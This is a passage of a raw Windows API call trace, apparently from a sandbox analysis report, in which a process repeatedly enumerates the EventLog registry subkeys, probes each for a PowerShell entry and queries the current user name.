lpName="Key Management Service", lpcchName=0x22d4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.286] CoTaskMemFree (pv=0x124030) [0055.286] CoTaskMemFree (pv=0x0) [0055.286] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.286] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x4, lpName=0x124030, lpcchName=0x22d4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x22d4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.286] CoTaskMemFree (pv=0x124030) [0055.286] CoTaskMemFree (pv=0x0) [0055.286] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.286] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x5, lpName=0x124030, lpcchName=0x22d4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x22d4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.286] CoTaskMemFree (pv=0x124030) [0055.286] CoTaskMemFree (pv=0x0) [0055.286] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.286] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x6, lpName=0x124030, lpcchName=0x22d4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x22d4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.286] CoTaskMemFree (pv=0x124030) [0055.286] CoTaskMemFree (pv=0x0) [0055.286] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.286] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x7, lpName=0x124030, lpcchName=0x22d4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x22d4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.286] CoTaskMemFree (pv=0x124030) [0055.286] CoTaskMemFree (pv=0x0) [0055.286] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.286] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x8, lpName=0x124030, lpcchName=0x22d4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x22d4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.287] CoTaskMemFree (pv=0x124030) [0055.287] CoTaskMemFree (pv=0x0) [0055.287] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x328) returned 0x0 [0055.287] RegOpenKeyExW (in: hKey=0x328, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x0) returned 0x2 [0055.287] RegOpenKeyExW (in: hKey=0x314, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x33c) returned 0x0 [0055.287] RegOpenKeyExW (in: hKey=0x33c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x0) returned 0x2 [0055.287] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x340) returned 0x0 [0055.287] RegOpenKeyExW (in: hKey=0x340, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x0) returned 0x2 [0055.287] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x344) returned 0x0 [0055.287] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x0) returned 0x2 [0055.288] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x348) returned 0x0 [0055.288] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x0) returned 0x2 [0055.288] RegOpenKeyExW (in: hKey=0x314, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x34c) returned 0x0 [0055.288] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x0) returned 0x2 [0055.288] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x350) returned 0x0 [0055.288] RegOpenKeyExW (in: hKey=0x350, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x0) returned 0x2 [0055.289] RegOpenKeyExW (in: hKey=0x314, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x354) returned 0x0 [0055.289] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x0) returned 0x2 [0055.289] RegOpenKeyExW (in: hKey=0x314, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x358) returned 0x0 [0055.289] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d538 | out: phkResult=0x22d538*=0x35c) returned 0x0 [0055.289] RegCloseKey (hKey=0x35c) returned 0x0 [0055.289] RegCloseKey (hKey=0x314) returned 0x0 [0055.290] RegCloseKey (hKey=0x358) returned 0x0 [0055.529] CoTaskMemAlloc (cb=0x804) returned 0x1b795950 [0055.529] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b795950, nSize=0x22d748 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x22d748) returned 0x1 [0055.530] CoTaskMemFree (pv=0x1b795950) [0055.532] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.532] GetUserNameW (in: lpBuffer=0x124030, pcbBuffer=0x22d788 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x22d788) returned 1 [0055.532] CoTaskMemFree (pv=0x124030) [0055.583] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d488 | out: phkResult=0x22d488*=0x360) returned 0x0 [0055.583] RegQueryInfoKeyW (in: hKey=0x360, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x22d3fc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d3f8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x22d3fc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d3f8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.583] CoTaskMemFree (pv=0x0) [0055.583] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.583] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x0, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.583] CoTaskMemFree (pv=0x124030) [0055.583] CoTaskMemFree (pv=0x0) [0055.583] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.583] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x1, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.584] CoTaskMemFree (pv=0x124030) [0055.584] CoTaskMemFree (pv=0x0) [0055.584] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.584] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x2, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.584] CoTaskMemFree (pv=0x124030) [0055.584] CoTaskMemFree (pv=0x0) [0055.584] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.584] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x3, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.584] CoTaskMemFree (pv=0x124030) [0055.584] CoTaskMemFree (pv=0x0) [0055.584] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.584] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x4, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.584] CoTaskMemFree (pv=0x124030) [0055.584] CoTaskMemFree (pv=0x0) [0055.584] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.584] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x5, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.584] CoTaskMemFree (pv=0x124030) [0055.584] CoTaskMemFree (pv=0x0) [0055.585] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.585] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x6, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.585] CoTaskMemFree (pv=0x124030) [0055.585] CoTaskMemFree (pv=0x0) [0055.585] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.585] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x7, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.585] CoTaskMemFree (pv=0x124030) [0055.585] CoTaskMemFree (pv=0x0) [0055.585] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.585] RegEnumKeyExW (in: hKey=0x360, dwIndex=0x8, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.585] CoTaskMemFree (pv=0x124030) [0055.585] CoTaskMemFree (pv=0x0) [0055.585] RegOpenKeyExW (in: hKey=0x360, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x364) returned 0x0 [0055.585] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.585] RegOpenKeyExW (in: hKey=0x360, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x368) returned 0x0 [0055.586] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.586] RegOpenKeyExW (in: hKey=0x360, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x36c) returned 0x0 [0055.586] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.586] RegOpenKeyExW (in: hKey=0x360, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x370) returned 0x0 [0055.586] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.586] RegOpenKeyExW (in: hKey=0x360, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x374) returned 0x0 [0055.586] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.586] RegOpenKeyExW (in: hKey=0x360, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x378) returned 0x0 [0055.587] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.587] RegOpenKeyExW (in: hKey=0x360, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x37c) returned 0x0 [0055.587] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.587] RegOpenKeyExW (in: hKey=0x360, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x380) returned 0x0 [0055.587] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.587] RegOpenKeyExW (in: hKey=0x360, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x384) returned 0x0 [0055.587] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x388) returned 0x0 [0055.588] RegCloseKey (hKey=0x388) returned 0x0 [0055.588] RegCloseKey (hKey=0x360) returned 0x0 [0055.588] RegCloseKey (hKey=0x384) returned 0x0 [0055.589] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d488 | out: phkResult=0x22d488*=0x384) returned 0x0 [0055.590] RegQueryInfoKeyW (in: hKey=0x384, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x22d3fc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d3f8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x22d3fc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d3f8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.590] CoTaskMemFree (pv=0x0) [0055.590] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.590] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x0, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.590] CoTaskMemFree (pv=0x124030) [0055.590] CoTaskMemFree (pv=0x0) [0055.590] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.590] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x1, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.590] CoTaskMemFree (pv=0x124030) [0055.590] CoTaskMemFree (pv=0x0) [0055.590] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.590] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x2, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.590] CoTaskMemFree (pv=0x124030) [0055.590] CoTaskMemFree (pv=0x0) [0055.590] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.590] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x3, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.590] CoTaskMemFree (pv=0x124030) [0055.590] CoTaskMemFree (pv=0x0) [0055.590] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.590] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x4, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.591] CoTaskMemFree (pv=0x124030) [0055.591] CoTaskMemFree (pv=0x0) [0055.591] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.591] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x5, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.591] CoTaskMemFree (pv=0x124030) [0055.591] CoTaskMemFree (pv=0x0) [0055.591] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.591] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x6, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.591] CoTaskMemFree (pv=0x124030) [0055.591] CoTaskMemFree (pv=0x0) [0055.591] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.591] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x7, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.591] CoTaskMemFree (pv=0x124030) [0055.591] CoTaskMemFree (pv=0x0) [0055.591] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.591] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x8, lpName=0x124030, lpcchName=0x22d488, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x22d488, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.591] CoTaskMemFree (pv=0x124030) [0055.591] CoTaskMemFree (pv=0x0) [0055.591] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x360) returned 0x0 [0055.592] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.592] RegOpenKeyExW (in: hKey=0x384, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x388) returned 0x0 [0055.592] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.592] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x38c) returned 0x0 [0055.592] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.592] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x390) returned 0x0 [0055.592] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.593] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x394) returned 0x0 [0055.593] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.593] RegOpenKeyExW (in: hKey=0x384, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x398) returned 0x0 [0055.593] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.593] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x39c) returned 0x0 [0055.593] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.593] RegOpenKeyExW (in: hKey=0x384, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x3a0) returned 0x0 [0055.593] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x0) returned 0x2 [0055.593] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x3a4) returned 0x0 [0055.594] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4e8 | out: phkResult=0x22d4e8*=0x3a8) returned 0x0 [0055.594] RegCloseKey (hKey=0x3a8) returned 0x0 [0055.594] RegCloseKey (hKey=0x384) returned 0x0 [0055.594] RegCloseKey (hKey=0x3a4) returned 0x0 [0055.596] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d458 | out: phkResult=0x22d458*=0x3a4) returned 0x0 [0055.596] RegQueryInfoKeyW (in: hKey=0x3a4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x22d3cc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d3c8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x22d3cc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d3c8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.596] CoTaskMemFree (pv=0x0) [0055.596] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.596] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x0, lpName=0x124030, lpcchName=0x22d458, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x22d458, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.596] CoTaskMemFree (pv=0x124030) [0055.596] CoTaskMemFree (pv=0x0) [0055.596] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.596] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x1, lpName=0x124030, lpcchName=0x22d458, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x22d458, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.596] CoTaskMemFree (pv=0x124030) [0055.596] CoTaskMemFree (pv=0x0) [0055.596] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.596] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x2, lpName=0x124030, lpcchName=0x22d458, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x22d458, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.596] CoTaskMemFree (pv=0x124030) [0055.596] CoTaskMemFree (pv=0x0) [0055.596] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.597] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x3, lpName=0x124030, lpcchName=0x22d458, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x22d458, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.597] CoTaskMemFree (pv=0x124030) [0055.597] CoTaskMemFree (pv=0x0) [0055.597] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.597] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x4, lpName=0x124030, lpcchName=0x22d458, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x22d458, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.597] CoTaskMemFree (pv=0x124030) [0055.597] CoTaskMemFree (pv=0x0) [0055.597] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.597] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x5, lpName=0x124030, lpcchName=0x22d458, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x22d458, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.597] CoTaskMemFree (pv=0x124030) [0055.597] CoTaskMemFree (pv=0x0) [0055.597] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.597] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x6, lpName=0x124030, 